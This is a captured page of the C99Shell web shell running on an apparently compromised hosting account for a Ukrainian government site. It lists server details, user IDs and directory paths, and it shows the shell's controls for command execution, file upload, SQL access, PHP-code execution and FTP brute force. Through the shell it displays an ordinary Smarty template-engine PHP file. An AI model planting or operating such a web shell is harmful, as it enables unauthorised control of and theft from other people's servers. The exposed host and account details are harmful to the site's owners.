!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/modules-alien/smarty/libs/sysplugins/   drwxrwxrwx
Free 116.64 GB of 200.55 GB (58.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     smarty_internal_resource_php.php (3.37 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
* Smarty Internal Plugin Resource PHP

* Implements the file system as resource for PHP templates

* @package Smarty
* @subpackage TemplateResources
* @author Uwe Tews 
*/
/**
* Smarty Internal Plugin Resource PHP
*/
class Smarty_Internal_Resource_PHP {
    
/**
    * Class constructor, enable short open tags
    */
    
public function __construct($smarty)
    {
        
$this->smarty $smarty;
        
ini_set('short_open_tag''1');
    } 
    
// properties
    
public $usesCompiler false;
    public 
$isEvaluated false;

    
/**
    * Return flag if template source is existing
    * 
    * @return boolean true
    */
    
public function isExisting($template)
    {
        if (
$template->getTemplateFilepath() === false) {
            return 
false;
        } else {
            return 
true;
        } 
    } 

    
/**
    * Get filepath to template source
    * 
    * @param object $_template template object
    * @return string filepath to template source file
    */
    
public function getTemplateFilepath($_template)
    {
        
$_filepath $_template->buildTemplateFilepath ();

        if (
$_template->security) {
            
$_template->smarty->security_handler->isTrustedResourceDir($_filepath);
        } 
        
$_template->templateUid sha1($_filepath);
        return 
$_filepath;
    } 

    
/**
    * Get timestamp to template source
    * 
    * @param object $_template template object
    * @return integer timestamp of template source file
    */
    
public function getTemplateTimestamp($_template)
    {
        return 
filemtime($_template->getTemplateFilepath());
    } 

    
/**
    * Read template source from file
    * 
    * @param object $_template template object
    * @return string content of template source file
    */
    
public function getTemplateSource($_template)
    {
        if (
file_exists($_template->getTemplateFilepath())) {
            
$_template->template_source file_get_contents($_template->getTemplateFilepath());
            return 
true;
        } else {
            return 
false;
        } 
    } 


    
/**
    * Get filepath to compiled template
    * 
    * @param object $_template template object
    * @return boolean return false as compiled template is not stored
    */
    
public function getCompiledFilepath($_template)
    { 
        
// no filepath for PHP templates
        
return false;
    } 

    
/**
    * renders the PHP template
    */
    
public function renderUncompiled($_smarty_template)
    {
        if (!
$this->smarty->allow_php_templates) {
            throw new 
Exception("PHP templates are disabled");
        } 
        if (
$this->getTemplateFilepath($_smarty_template) === false) {
            throw new 
Exception("Unable to load template \"{$_smarty_template->resource_type} : {$_smarty_template->resource_name}\"");
        } 
        
// prepare variables
        
$_smarty_ptr $_smarty_template;
        do {
            foreach (
$_smarty_ptr->tpl_vars as $_smarty_var => $_smarty_var_object) {
                if (isset(
$_smarty_var_object->value)) {
                    $
$_smarty_var $_smarty_var_object->value;
                } 
            } 
            
$_smarty_ptr $_smarty_ptr->parent;
        } while (
$_smarty_ptr != null);
        unset (
$_smarty_var$_smarty_var_object$_smarty_ptr); 
        
// include PHP template
        
include($this->getTemplateFilepath($_smarty_template));
        return;
    } 


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0104 ]--